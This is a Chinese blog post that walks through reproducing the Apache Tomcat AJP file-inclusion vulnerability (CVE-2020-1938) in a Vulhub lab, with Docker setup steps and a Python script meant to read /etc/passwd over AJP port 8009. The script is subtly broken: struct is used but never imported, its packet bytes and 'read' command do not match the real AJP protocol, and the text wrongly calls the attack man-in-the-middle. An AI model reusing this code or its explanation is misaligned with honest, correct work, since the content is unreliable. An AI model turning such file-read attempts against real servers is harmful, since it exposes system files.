vulhub中Aapache Tomcat AJP 文件包含漏洞复现(CVE-2020-1938)
    		       		warning:
    		            这篇文章距离上次修改已过423天,其中的内容可能已经有所变动。
    		        
        		                
                要在Vulhub中复现Apache Tomcat AJP文件包含漏洞(CVE-2020-1938),请按照以下步骤操作:
- 确保已经安装了Docker和Docker Compose。
- 从GitHub克隆Vulhub仓库:git clone https://github.com/vulhub/vulhub.git
- 进入Apache Tomcat AJP文件包含漏洞相关环境的目录:cd vulhub/tomcat/CVE-2020-1938
- 运行容器环境:docker-compose up -d
- 使用中间人工具(例如:Burp Suite)设置代理,监听AJP端口。
- 向http://your-ip:8080发送带有恶意AJP包的请求,复现漏洞。
以下是一个可能的中间人攻击的Python脚本示例,用于发送包含恶意文件读取命令的AJP请求:
import socket
 
# AJP 协议请求格式
AJP_PROTOCOL = b'\x12\x34\x02\x02\x01\x03\x00\x03\x00\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
JK_AJP13_GET_BODY_CHUNK = 0x131004
 
# 恶意文件读取命令
command = b'\x08\x00\x00\x00\x03read\x00\x0b/etc/passwd'
 
def send_ajp_request(host, port, data):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(AJP_PROTOCOL + struct.pack('>h', len(data))[0:2] + command)
    s.close()
 
if __name__ == '__main__':
    host = 'your-tomcat-host'
    port = 8009  # AJP端口
    send_ajp_request(host, port, command)请注意,在实际攻击中,你需要有目标服务器的网络访问权限,并且通常会使用专用的中间人工具来进行攻击。这个Python脚本只是用来展示如何构造和发送AJP请求。在实际环境中,攻击者需要在目标服务器上的代理或者服务中设置监听AJP端口的中间人工具。
评论已关闭